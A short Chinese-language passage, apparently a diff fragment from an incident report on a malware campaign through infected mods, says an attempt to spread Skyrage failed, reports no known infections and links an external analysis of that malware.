切断了服务器与公网的连接,是次扩大攻击范围的尝试也未能得手。 + +**我们还未收到任何藉由此感染 Skyrage 的报告。** +作者将 CloudFalre URL 指向 Skyrage 时,其在阶段 0 感染的模组中硬编码的服务器地址**早已**下线多时了。可以说,攻击者选在这种时候试图传播这个 jar 的举动,少见且离谱。 + +Skyrage 是款已知,且已有深入研究的恶意软件,关于 Skyrage 的更多信息可在[这里](https://ljskatt.no/analysis/updater_class/)找到。